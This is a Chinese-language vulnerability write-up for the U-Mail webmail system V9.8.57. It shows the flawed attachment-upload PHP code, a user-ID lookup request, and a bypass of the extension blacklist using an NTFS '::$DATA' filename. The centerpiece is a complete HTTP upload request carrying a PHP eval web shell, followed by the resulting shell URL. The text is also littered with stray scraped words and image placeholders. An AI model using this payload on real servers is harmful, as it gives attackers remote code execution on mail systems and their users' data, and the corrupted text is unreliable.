U-mail郵件系統又一getshell

漏洞做者: 路人甲

U-mail郵件系統某到處理不當,致使getshellphp

詳細說明:

版本:U-Mail for Windows V9.8.57html

測試賬號:hello0001@fuck.comweb

測試主機:windows server 2003+IIS6 [windows主機配置都爲郵件系統默認配置]shell

首先須要獲取用戶的UserID,由於其緩存目錄路徑爲 umail\WorldClient\html\client\cache\{userid}\json

獲取用戶id的接口爲windows

http://mail.fuck.com/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=緩存

1&keyword=hello0001app

06171405647f802c92eb91951c7305360cd68012[1]

 

得知userid爲3dom

上傳缺陷ide

漏洞文件,umail\WorldClient\html\client\mail\module\o_attach.php

代碼

if ( ACTION == "attach-upload-batch" && $_FILES )
{
		$file_name = $_FILES['Filedata']['name'];
		$file_type = $_FILES['Filedata']['type'];
		$file_size = $_FILES['Filedata']['size'];
		$file_source = $_FILES['Filedata']['tmp_name'];
		$path_target = getusercachepath( );
		$not_allow_ext = array( "php", "phps", "php3", "exe", "bat" );
		$res_data = array( );
		foreach ( $file_source as $k => $v )
		{
				$file_id = makerandomname( );
				$file_suffix = getfilenamesuffix( $file_name[$k] );
				if ( in_array( $file_suffix, $not_allow_ext ) )
				{
						$res_data[] = array(
								"status" => "0",
								"message" => el( "不支持該擴展名文件上傳", "" ),
								"filename" => $file_name[$k],
								"filesize" => $file_size[$k],
								"file_id" => $file_id
						);
				}
				else
				{
						$file_target = $path_target.$file_id.".".$file_suffix;
						if ( !move_uploaded_file( $v, $file_target ) )
						{
								$res_data[] = array(
										"status" => "0",
										"message" => el( "寫入文件出錯,請與管理員聯繫!", "" ),
										"filename" => $file_name[$k],
										"filesize" => $file_size[$k],
										"file_id" => $file_id
								);
						}
						else
						{
								$res_data[] = array(
										"status" => "1",
										"filename" => trim( $file_name[$k] ),
										"filesize" => $file_size[$k],
										"file_id" => $file_id
								);
								$_SESSION[SESSION_ID]['attach_cache'][] = array(
										"id" => $file_id,
										"name" => $file_name[$k],
										"type" => "1",
										"path" => $file_target,
										"size" => $file_size[$k]
								);
						}
				}
		}
		dump_json( $res_data );
}

以前版本容許傳php文件,最新版採用了黑名單機制,不容許傳php文件,沒法繞過其後綴檢測。可是利用NTFS的ADS特性,能夠繞過其黑名單機制,如圖

發送郵件,選擇拖拽添加附件,burpsuite攔截包,修改文件名爲s.php::$DATA便可繞過,如圖

POST /webmail/client/mail/index.php?module=operate&action=attach-upload-batch HTTP/1.1
Host: mail.fuck.com
Proxy-Connection: keep-alive
Content-Length: 233
Origin: http://mail.fuck.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary37jD3r27mTgTBrAh
Accept: */*
Referer: http://mail.fuck.com/webmail/client/mail/index.php?module=view&action=mail-compose
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=3b8305453c65c1039f33832b23268fff
------WebKitFormBoundary37jD3r27mTgTBrAh
Content-Disposition: form-data; name="Filedata[]"; filename="s.php::$DATA"
Content-Type: application/octet-stream
<?php @eval($_POST['a']);?>
------WebKitFormBoundary37jD3r27mTgTBrAh--

06171602a27d022d91e685530ed808e45bab64bb[1]

 

則得到的webshell地址爲 http://mail.fuck.com/webmail/client/cache/3/14178435495.php

06171654621ee8f2faee56b9816b76a29ad810f1[1]

關於這種windows類型的上傳缺陷參考:
當php懈垢windows通用上傳缺陷

聲明: 本文由( 0day5 )原創編譯,轉載請保留連接: U-mail郵件系統又一getshell

相關文章
相關標籤/搜索